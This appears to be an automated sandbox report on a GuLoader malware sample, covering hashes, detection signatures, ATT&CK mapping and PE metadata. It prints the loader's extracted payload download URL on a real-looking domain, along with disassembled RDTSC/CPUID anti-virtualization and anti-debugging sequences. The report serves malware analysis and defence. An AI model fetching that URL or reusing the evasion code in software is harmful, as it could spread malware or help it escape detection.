Play interactive tour

Edit tour

Windows Analysis Report 97bXaukEWl.exe

Overview

General Information

Sample Name:	97bXaukEWl.exe
Analysis ID:	457852
MD5:	9318cd06a9a0b788dc043a63c97d4fce
SHA1:	a296ea3e1cf6d41f9d059d7d6e5058882b03161a
SHA256:	7ad18b09938d40e8ec342ee6bee6b190a986ffedce7567a638b8d25b4098cb69
Tags:	exeGuLoader
Infos:
Most interesting Screenshot:

Detection

GuLoader

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

C2 URLs / IPs found in malware configuration

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Found potential dummy code loops (likely to delay analysis)

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to read the PEB

Detected potential crypto function

PE / OLE file has an invalid certificate

PE file contains strange resources

Program does not show much activity (idle)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

97bXaukEWl.exe (PID: 4908 cmdline: 'C:\Users\user\Desktop\97bXaukEWl.exe' MD5: 9318CD06A9A0B788DC043A63C97D4FCE)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://kinmirai.org/wp-content/bin_NIapfDNXM183.bin"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://kinmirai.org/wp-content/bin_NIapfDNXM183.bin"}

Multi AV Scanner detection for submitted file

Show sources

Source: 97bXaukEWl.exe	Virustotal: Detection: 24%			Perma Link
Source: 97bXaukEWl.exe	ReversingLabs: Detection: 17%

Source: 97bXaukEWl.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: C:\Program Files (x86)\Administrator-Cloud\Projects\bayrerss.pdb source: 97bXaukEWl.exe
Source:	Binary string: C:\Program Files (x86)\Administrator-Cloud\Projects\bayrerss.pdb source: 97bXaukEWl.exe

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://kinmirai.org/wp-content/bin_NIapfDNXM183.bin

Source: 97bXaukEWl.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 97bXaukEWl.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 97bXaukEWl.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 97bXaukEWl.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 97bXaukEWl.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 97bXaukEWl.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 97bXaukEWl.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 97bXaukEWl.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: 97bXaukEWl.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: 97bXaukEWl.exe	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Code function: 0_2_020A5798 NtAllocateVirtualMemory,

0_2_020A5798

Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A5798	0_2_020A5798
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A7A0B	0_2_020A7A0B
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A2655	0_2_020A2655
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A4AAA	0_2_020A4AAA
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A46B8	0_2_020A46B8
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A9AB9	0_2_020A9AB9
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A4ADA	0_2_020A4ADA
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A433C	0_2_020A433C
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A7B34	0_2_020A7B34
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A8F4F	0_2_020A8F4F
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A8F5C	0_2_020A8F5C
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A3BB6	0_2_020A3BB6
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A83CF	0_2_020A83CF
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A73CC	0_2_020A73CC
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A7BDB	0_2_020A7BDB
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A8FD6	0_2_020A8FD6
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A1BF9	0_2_020A1BF9
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A1BF7	0_2_020A1BF7
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A7C0D	0_2_020A7C0D
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A7C02	0_2_020A7C02
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A4021	0_2_020A4021
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A9058	0_2_020A9058
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A245F	0_2_020A245F
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A4050	0_2_020A4050
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A2877	0_2_020A2877
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A489B	0_2_020A489B
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A90D7	0_2_020A90D7
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A4CF4	0_2_020A4CF4
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A3D14	0_2_020A3D14
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A792B	0_2_020A792B
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A352B	0_2_020A352B
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A554D	0_2_020A554D
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A796F	0_2_020A796F
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A916F	0_2_020A916F
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A39D7	0_2_020A39D7

Source: 97bXaukEWl.exe

Static PE information: invalid certificate

Source: 97bXaukEWl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 97bXaukEWl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 97bXaukEWl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 97bXaukEWl.exe, 00000000.00000000.221378124.0000000000436000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamebayrerss.exe vs 97bXaukEWl.exe
Source: 97bXaukEWl.exe, 00000000.00000002.750338858.0000000002960000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamebayrerss.exeFE2X vs 97bXaukEWl.exe
Source: 97bXaukEWl.exe	Binary or memory string: OriginalFilenamebayrerss.exe vs 97bXaukEWl.exe

Source: 97bXaukEWl.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal84.troj.evad.winEXE@1/0@0/0

Source: 97bXaukEWl.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 97bXaukEWl.exe	Virustotal: Detection: 24%
Source: 97bXaukEWl.exe	ReversingLabs: Detection: 17%

Source: 97bXaukEWl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Program Files (x86)\Administrator-Cloud\Projects\bayrerss.pdb source: 97bXaukEWl.exe
Source:	Binary string: C:\Program Files (x86)\Administrator-Cloud\Projects\bayrerss.pdb source: 97bXaukEWl.exe

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_00421041 push ss; retf	0_2_00421042
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_00422433 push eax; iretd	0_2_004224A1
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_004200E2 push eax; iretd	0_2_004200E5
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_004210A8 push ebx; retf	0_2_004210AE
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_00421D79 pushfd ; iretd	0_2_00421D97
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_00405D8C push eax; retf	0_2_00405DC6
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_004223E5 push eax; iretd	0_2_004224A1
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A2F61 push esi; ret	0_2_020A2F63
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A8391 push edx; ret	0_2_020A8392
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A83B8 push edx; ret	0_2_020A83B9
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A0FFD push ebx; iretd	0_2_020A100C
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A540E pushad ; retf	0_2_020A5419

Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A5798 NtAllocateVirtualMemory,	0_2_020A5798
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A3714	0_2_020A3714
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A433C	0_2_020A433C
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A3BB6	0_2_020A3BB6
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A73CC	0_2_020A73CC
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A245F	0_2_020A245F
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A4050	0_2_020A4050
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A352B	0_2_020A352B

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\97bXaukEWl.exe	RDTSC instruction interceptor: First address: 00000000020A6EEA second address: 00000000020A73F6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a add eax, FF6DF465h 0x0000000f add eax, 051D0E23h 0x00000014 cmp ch, FFFFFF9Bh 0x00000017 add eax, BB406732h 0x0000001c push ss 0x0000001d pop ss 0x0000001e jmp 00007F7BD0B3E4A3h 0x00000020 cmp dword ptr [ebp+0000024Eh], eax 0x00000026 mov eax, dword ptr [ebp+0000024Eh] 0x0000002c jne 00007F7BD0B3E548h 0x00000032 pushad 0x00000033 mov bl, 77h 0x00000035 cmp bl, 00000077h 0x00000038 jne 00007F7BD0B40B02h 0x0000003e popad 0x0000003f push 7DDA0CB7h 0x00000044 call 00007F7BD0B3E8FAh 0x00000049 mov eax, dword ptr fs:[00000030h] 0x0000004f mov eax, dword ptr [eax+0Ch] 0x00000052 test cx, ax 0x00000055 mov eax, dword ptr [eax+14h] 0x00000058 mov ecx, dword ptr [eax] 0x0000005a pushad 0x0000005b mov bx, 12CFh 0x0000005f cmp bx, 12CFh 0x00000064 jne 00007F7BD0B376F3h 0x0000006a popad 0x0000006b mov eax, ecx 0x0000006d cmp dh, ah 0x0000006f jmp 00007F7BD0B3E4A6h 0x00000071 test bh, bh 0x00000073 mov ebx, dword ptr [eax+28h] 0x00000076 test bl, dl 0x00000078 mov dword ptr [ebp+00000238h], edx 0x0000007e pushad 0x0000007f lfence 0x00000082 rdtsc
Source: C:\Users\user\Desktop\97bXaukEWl.exe	RDTSC instruction interceptor: First address: 00000000020A92DD second address: 00000000020A92DD instructions:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\97bXaukEWl.exe	RDTSC instruction interceptor: First address: 00000000020A6EEA second address: 00000000020A73F6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a add eax, FF6DF465h 0x0000000f add eax, 051D0E23h 0x00000014 cmp ch, FFFFFF9Bh 0x00000017 add eax, BB406732h 0x0000001c push ss 0x0000001d pop ss 0x0000001e jmp 00007F7BD0B3E4A3h 0x00000020 cmp dword ptr [ebp+0000024Eh], eax 0x00000026 mov eax, dword ptr [ebp+0000024Eh] 0x0000002c jne 00007F7BD0B3E548h 0x00000032 pushad 0x00000033 mov bl, 77h 0x00000035 cmp bl, 00000077h 0x00000038 jne 00007F7BD0B40B02h 0x0000003e popad 0x0000003f push 7DDA0CB7h 0x00000044 call 00007F7BD0B3E8FAh 0x00000049 mov eax, dword ptr fs:[00000030h] 0x0000004f mov eax, dword ptr [eax+0Ch] 0x00000052 test cx, ax 0x00000055 mov eax, dword ptr [eax+14h] 0x00000058 mov ecx, dword ptr [eax] 0x0000005a pushad 0x0000005b mov bx, 12CFh 0x0000005f cmp bx, 12CFh 0x00000064 jne 00007F7BD0B376F3h 0x0000006a popad 0x0000006b mov eax, ecx 0x0000006d cmp dh, ah 0x0000006f jmp 00007F7BD0B3E4A6h 0x00000071 test bh, bh 0x00000073 mov ebx, dword ptr [eax+28h] 0x00000076 test bl, dl 0x00000078 mov dword ptr [ebp+00000238h], edx 0x0000007e pushad 0x0000007f lfence 0x00000082 rdtsc
Source: C:\Users\user\Desktop\97bXaukEWl.exe	RDTSC instruction interceptor: First address: 00000000020A73F6 second address: 00000000020A74C0 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b mov edx, 2A63ED14h 0x00000010 cmp ax, dx 0x00000013 xor edx, 8CD6B9A0h 0x00000019 xor edx, 8DA3C863h 0x0000001f cmp eax, ecx 0x00000021 sub edx, 2B169CD7h 0x00000027 test ebx, E044EBDBh 0x0000002d cmp ebx, edx 0x0000002f mov edx, dword ptr [ebp+00000238h] 0x00000035 je 00007F7BD0AEA8D8h 0x0000003b fnop 0x0000003d mov dword ptr [ebp+00000222h], eax 0x00000043 pushad 0x00000044 mov bh, 9Ah 0x00000046 cmp bh, FFFFFF9Ah 0x00000049 jne 00007F7BD0AE7432h 0x0000004f popad 0x00000050 mov eax, ebx 0x00000052 push eax 0x00000053 mov eax, dword ptr [ebp+00000222h] 0x00000059 test dl, 0000005Ah 0x0000005c cmp cx, dx 0x0000005f call 00007F7BD0AEA8B7h 0x00000064 pushad 0x00000065 lfence 0x00000068 rdtsc
Source: C:\Users\user\Desktop\97bXaukEWl.exe	RDTSC instruction interceptor: First address: 00000000020A58DE second address: 00000000020A593B instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 sub dword ptr [esp], F2A63F26h 0x0000000a test bx, ax 0x0000000d xor dword ptr [esp], 1168D9BEh 0x00000014 mov dword ptr [ebp+00000148h], 00000000h 0x0000001e add ebx, 04h 0x00000021 mov dword ptr [ebp+0000018Bh], esi 0x00000027 mov esi, ebx 0x00000029 push esi 0x0000002a mov esi, dword ptr [ebp+0000018Bh] 0x00000030 cmp ch, dh 0x00000032 mov dword ptr [ebp+000001E4h], ecx 0x00000038 mov ecx, 785B2C8Ch 0x0000003d test ebx, eax 0x0000003f test bx, bx 0x00000042 xor ecx, C683D913h 0x00000048 cmp dl, 00000035h 0x0000004b add ecx, 3D510807h 0x00000051 sub ecx, FC29FDA7h 0x00000057 pushad 0x00000058 mov esi, 00000084h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\97bXaukEWl.exe	RDTSC instruction interceptor: First address: 00000000020A92DD second address: 00000000020A92DD instructions:

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Code function: 0_2_020A5798 rdtsc

0_2_020A5798

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Process Stats: CPU usage > 90% for more than 60s

Source: C:\Users\user\Desktop\97bXaukEWl.exe

Code function: 0_2_020A5798 rdtsc

0_2_020A5798

Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A6E4F mov eax, dword ptr fs:[00000030h]		0_2_020A6E4F
Source: C:\Users\user\Desktop\97bXaukEWl.exe	Code function: 0_2_020A352B mov eax, dword ptr fs:[00000030h]		0_2_020A352B

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: 97bXaukEWl.exe, 00000000.00000002.746784171.0000000000C60000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: 97bXaukEWl.exe, 00000000.00000002.746784171.0000000000C60000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: 97bXaukEWl.exe, 00000000.00000002.746784171.0000000000C60000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: 97bXaukEWl.exe, 00000000.00000002.746784171.0000000000C60000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection1	Virtualization/Sandbox Evasion11	OS Credential Dumping	Security Software Discovery41	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection1	LSASS Memory	Virtualization/Sandbox Evasion11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Information Discovery31	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
97bXaukEWl.exe	24%	Virustotal		Browse
97bXaukEWl.exe	17%	ReversingLabs	Win32.Infostealer.Generic

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://kinmirai.org/wp-content/bin_NIapfDNXM183.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://kinmirai.org/wp-content/bin_NIapfDNXM183.bin	true	Avira URL Cloud: safe	unknown

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	457852
Start date:	02.08.2021
Start time:	11:51:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	97bXaukEWl.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.evad.winEXE@1/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.4% (good quality ratio 0.4%) Quality average: 55.3% Quality standard deviation: 9.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, wermgr.exe, backgroundTaskHost.exe, UsoClient.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.6012516392465255
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	97bXaukEWl.exe
File size:	259192
MD5:	9318cd06a9a0b788dc043a63c97d4fce
SHA1:	a296ea3e1cf6d41f9d059d7d6e5058882b03161a
SHA256:	7ad18b09938d40e8ec342ee6bee6b190a986ffedce7567a638b8d25b4098cb69
SHA512:	da057bf10d5a7ae8863dd0310b3d4116af6535aacc68074c9c301e79f580860c2cecba991628d274d62e029ee210f92705c12125dc390072556ca031a16cd4b3
SSDEEP:	1536:2blgLWMXncWYqmOeDA6W6h8eaBWTvYeigJ2cI6wt:NLWMXntzVAA6W6GwZJgt
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.....................................Rich............PE..L.....zY.................@...................P....@................

File Icon


Icon Hash:	e8cccece8ececc68

Static PE Info

General
Entrypoint:	0x401388
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x597AB081 [Fri Jul 28 03:33:21 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c75b2cceb55bee276cddf57134b154d2

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Andreyg5@anaerobi.Pr, CN=ANSTNDI, OU=COLOROTO, O=krem, L=Toker, S=Skuffels5, C=PG
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	8/1/2021 1:24:20 PM 8/1/2022 1:24:20 PM
Subject Chain	E=Andreyg5@anaerobi.Pr, CN=ANSTNDI, OU=COLOROTO, O=krem, L=Toker, S=Skuffels5, C=PG
Version:	3
Thumbprint MD5:	5F240938C81B57F5F43DD818766923DB
Thumbprint SHA-1:	D39BA4A993AF1C3AF864520F7A5E572CFBAF3C4A
Thumbprint SHA-256:	98F39CD1A5C825C14DA71726F851E1712E5FD89B52C590FC4D1763D249A25976
Serial:	00

Entrypoint Preview

Instruction
push 004311CCh
call 00007F7BD0E69C95h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
dec edi
mov eax, dword ptr [1781393Ch]
imul ecx, dword ptr [edi-70h], CC0C945Fh
cmpsb
push ds
mov ah, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [ecx+00h], al
xchg byte ptr [eax-7Eh], dl
add dword ptr [ecx+73h], ebp
jc 00007F7BD0E69CA3h
add al, byte ptr [eax]
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
pop ss
mov ah, CBh
salc
push edi
mov dl, al
pop edx
inc edi
test eax, 3D345146h
mov dword ptr [D5F49639h], eax
mov ss, word ptr [edi-16h]
xchg eax, edi
outsd
inc ebp
xchg eax, edi
jnp 00007F7BD0E69D0Eh
imul edx, eax, 3AB8B9ACh
dec edi
lodsd
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnc 00007F7BD0E69C9Eh
add al, byte ptr [eax]
imul eax, dword ptr [eax], 00h
add byte ptr [ecx], cl
add byte ptr [esi+esi*2+72h], dl
bound ebp, dword ptr [edx+6Ch]
imul esp, dword ptr [ebp+31h], 00h
or eax, 42000A01h
imul esp, dword ptr [edx+65h], 7274736Ch
imul esi, dword ptr [ebx], 00h
sbb dword ptr [ecx], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34624	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x36000	0x70f2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3e058	0x1420
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1100	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0xf4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
